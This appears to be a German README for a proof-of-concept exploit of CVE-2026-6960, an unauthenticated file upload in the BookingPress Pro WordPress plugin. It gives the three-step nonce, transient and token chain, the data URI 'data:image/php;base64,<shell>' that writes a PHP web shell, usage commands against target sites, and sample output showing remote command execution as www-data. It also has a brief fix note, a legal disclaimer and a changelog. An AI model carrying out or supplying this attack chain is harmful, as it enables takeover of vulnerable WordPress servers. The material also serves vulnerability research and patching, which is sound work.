
Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen.
Forschung von: Atomic Edge Schweregrad: Kritisch | CVSS: 9.8 | Authentifizierung erforderlich: Keine
⚠️ v2 — Technische Korrekturen angewendet basierend auf Community-Feedback. Details siehe Changelog.
Eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload existiert im BookingPress Pro WordPress-Plugin (Versionen ≤ 5.6). Der Handler für die Buchungsübermittlung bookingpress_book_appointment_booking verarbeitet den Wert eines Signatur-Benutzerdefinierten Felds als Data-URI. Das Plugin extrahiert die Dateiendung per Regex aus dem MIME-Typ-Teil der URI und übergibt sie direkt an file_put_contents() — ohne Allowlist oder Blocklist für Dateiendungen. Dies ermöglicht es einem Angreifer, eine PHP-Web-Shell in ein über das Web erreichbares Verzeichnis zu schreiben und Remote Code Execution (RCE) zu erreichen.
⚠️ Alle folgenden Bedingungen müssen erfüllt sein, damit die Website ausnutzbar ist:
Websites mit ≤ 5.6 ohne konfiguriertes Signatur-Benutzerdefiniertes Feld sind über diesen Vektor nicht ausnutzbar.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Der verwundbare Codepfad verarbeitet den Wert des Signaturfelds als Data-URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress extrahiert {ext} mithilfe eines Regex-Abgleichs aus dem MIME-Typ und schreibt dann den dekodierten Inhalt mit file_put_contents() auf die Festplatte, wobei diese Endung an den Dateinamen angehängt wird — es wird keine Allowlist-Prüfung durchgeführt. Die Angabe von image/php als MIME-Typ führt dazu, dass eine .php-Datei in das Upload-Verzeichnis geschrieben wird.
Dies unterscheidet sich grundlegend von einem Standard-Multipart-Datei-Upload — die Nutzlast ist in einem JSON-Body-Feld eingebettet, nicht in einem Datei-Upload-Teil.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml), bevor Sie die Endung extrahierenwp_check_filetype_and_ext()→ Aktualisieren Sie umgehend auf BookingPress Pro 5.7.
Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Verwenden Sie dieses Tool nicht gegen ein System ohne ausdrückliche schriftliche Genehmigung des Systeminhabers. Unautorisierte Nutzung kann gegen den CFAA (USA), den Criminal Code s.342.1 (Kanada), die EU-NIS2-Richtlinie und andere geltende Gesetze verstoßen. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die aus diesem Code entstehen.
| Eigenschaft | Detail |
|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Betroffen | ≤ 5.6 |
| Behoben in | 5.7 |
| Vektor | Netzwerk / Nicht authentifiziert |
| AJAX-Aktion | bookingpress_book_appointment_booking |
| Grundursache | Endung wird aus dem vom Angreifer kontrollierten MIME-Typ in der Data-URI extrahiert → file_put_contents() ohne Allowlist |
| CWE | CWE-434: Uneingeschränkter Upload einer Datei mit gefährlichem Typ |
| Flag | Beschreibung | Standard |
|---|
-u, --url | Ziel-WordPress-URL | (erforderlich) |
-bp, --booking-page | Seitenpfad, der das BookingPress-Formular enthält | / |
-s, --service-id | BookingPress-Service-ID | 1 |
-f, --filename | Shell-Dateiname (Endung wird in den Data-URI-MIME-Typ injiziert) | shell.php |
--no-verify | SSL-Zertifikatsprüfung deaktivieren | false |
| # | Problem | v1 (falsch) | v2 (korrigiert) |
|---|
| 1 | AJAX-Aktion | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Payload-Methode | Multipart-Datei-Upload mit image/png | Data-URI: data:image/{ext};base64,... |
| 3 | Exploit-Ablauf | Direkter nicht authentifizierter POST | 3-stufige Voraussetzungskette (Nonce → Transient → Token) |
| 4 | Voraussetzung | Nicht dokumentiert | Signatur-Benutzerdefiniertes Feld muss konfiguriert sein |